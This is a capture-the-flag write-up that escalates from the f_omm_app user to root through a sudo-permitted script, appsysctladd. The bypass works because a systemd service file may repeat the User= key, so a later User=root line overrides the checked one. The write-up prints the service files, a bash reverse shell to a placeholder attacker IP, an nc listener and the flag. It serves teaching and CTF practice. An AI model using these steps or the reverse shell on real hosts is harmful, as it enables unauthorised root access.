Skip to content

Latest commit

 

History

History
135 lines (114 loc) · 5.52 KB

File metadata and controls

135 lines (114 loc) · 5.52 KB

OMM API root

Disclaimer: We solved this challenge after the CTF had ended. During the ctf we got to the very last step trying to bypass the if-check, but ran out of time.

Challenge

We currently have shell as the f_omm_app user. In the OMM API user challenge we got a reverse shell, which we now have upgraded to a ssh-shell by adding our ssh-publickey to /home/f_omm_app/.ssh/authorized_keys.

f_omm_app@ip-10-128-3-164:~$ id
uid=1002(f_omm_app) gid=1003(f_omm_app) groups=1003(f_omm_app),1001(hpc_users_rd)

f_omm_app have sudo permissions on the box, but only for certain commmands.

f_omm_app@ip-10-128-3-164:~$ sudo -l
Matching Defaults entries for f_omm_app on ip-10-128-3-164:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin\:/opt/pbs/bin, use_pty

User f_omm_app may run the following commands on ip-10-128-3-164:
    (ALL : ALL) NOPASSWD: /opt/pbs/bin/qsub, /opt/pbs/bin/qdel, /prog/util/sbin/appsysctladd, /usr/bin/systemctl restart *

The first two scripts, /opt/pbs/bin/qsub and /opt/pbs/bin/qdel doesn't do much.

f_omm_app@ip-10-128-3-164:~$ cat /opt/pbs/bin/qsub
#!/bin/sh
# This is just mocked handling for this CTF. This is not the file you're looking for"
echo "OK"
f_omm_app@ip-10-128-3-164:~$ cat /opt/pbs/bin/qdel
#!/bin/sh
# This is just mocked handling for this CTF. This is not the file you're looking for"
echo "OK"

The command /usr/bin/systemctl restart * allows us to restart the systemctl services, but does not turn out to be very useful for us.

/prog/util/sbin/appsysctladd is the most interesting script that we can run. appsysctladd is a bash script which takes one or more directories as arguments. For each directory-argument given it searches for the directory $HOSTNAME in it and starts systemctl services for each .service file located in that directory. This means that if we create a service file with User=root the created service should execute our defined command as root!

f_omm_app@ip-10-128-3-164:/dev/shm$ ls
eic-hostkey-MGy07Txb  ip-10-128-3-164

f_omm_app@ip-10-128-3-164:/dev/shm$ ls ip-10-128-3-164/
test.service

f_omm_app@ip-10-128-3-164:/dev/shm$ cat ip-10-128-3-164/test.service
[Service]
Type=simple
ExecStart=/bin/bash -c "id > /tmp/output"
User=root

[Install]
WantedBy=multi-user.target
f_omm_app@ip-10-128-3-164:/dev/shm$ sudo /prog/util/sbin/appsysctladd /dev/shm
appsysctladd: Looking up systemctl services for  under /dev/shm
appsysctladd: /dev/shm/ip-10-128-3-164/test.service was rejected. User and Group must match file user and group

Unfortunately, that would be too easy. Looking closer into the /prog/util/sbin/appsysctladd script we can see the following if-check:

U=$( stat -c '%U' "${SRV}" )
G=$( stat -c '%G' "${SRV}" )

if egrep -q "^User=${U}$" "${SRV}" && egrep -q "^Group=${G}$" "${SRV}"
then
    SRVNAME=$( basename "${SRV}" )
    echo "$PROG: Setting up systemd service from ${SRV}"
    install -g root -o root -m 644 "${SRV}" "${SYSTEMD}/${SRVNAME}" && \
    systemctl daemon-reload && \
    systemctl start "${SRVNAME}" && \
    systemctl enable "${SRVNAME}"
else
    echo "$PROG: ${SRV} was rejected. User and Group must match file user and group"
fi

The script gets the username and group of the owner of the file, and checks if it matches the User and Group set in the service file. The intention of this is to make users only able to create services running with the same privilege level as them. This check is however not bulletproff, as it only checks if User=f_omm_app and Group=f_omm_app exist in the service file. So what happens if the service file contains the following?

User=f_omm_app
Group=f_omm_app
User=root

Turns out, when a field is set twice it is the latest occurrence of the field that takes precedence. Thus, we can bypass the if-check in the appsysctladd script by including User=f_omm_app (because we have to), and then afterwards set User=root to make the service execute as root.

f_omm_app@ip-10-128-3-164:/dev/shm$ cat ip-10-128-3-164/test.service
[Service]
Type=simple
ExecStart=/bin/bash -c "id > /tmp/output"
User=f_omm_app
Group=f_omm_app
User=root

[Install]
WantedBy=multi-user.target

f_omm_app@ip-10-128-3-164:/dev/shm$ sudo /prog/util/sbin/appsysctladd /dev/shm
appsysctladd: Looking up systemctl services for  under /dev/shm
appsysctladd: Setting up systemd service from /dev/shm/ip-10-128-3-164/test.service

f_omm_app@ip-10-128-3-164:/dev/shm$ cat /tmp/output
uid=0(root) gid=1003(f_omm_app) groups=1003(f_omm_app)

As we can see, the service runs as root now. With this knowledge, we can swap out the ExecStart POC with a reverse shell to become root, and then get the flag!

f_omm_app@ip-10-128-3-164:/dev/shm$ cat ip-10-128-3-164/test.service
[Service]
Type=simple
ExecStart=/bin/bash -c "sh -i >& /dev/tcp/<attacker_ip>/9001 0>&1"
User=f_omm_app
Group=f_omm_app
User=root

[Install]
WantedBy=multi-user.target
f_omm_app@ip-10-128-3-164:/dev/shm$ sudo /prog/util/sbin/appsysctladd /dev/shm
appsysctladd: Looking up systemctl services for  under /dev/shm
appsysctladd: Setting up systemd service from /dev/shm/ip-10-128-3-164/test.service
$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [<attacker_ip>] from (UNKNOWN) [10.128.3.164] 54920
sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=1003(f_omm_app) groups=1003(f_omm_app)
# cat /root/root.txt
EPT{PR1V35C_15_700_345Y_F0R_Y0U_GJ_WP!}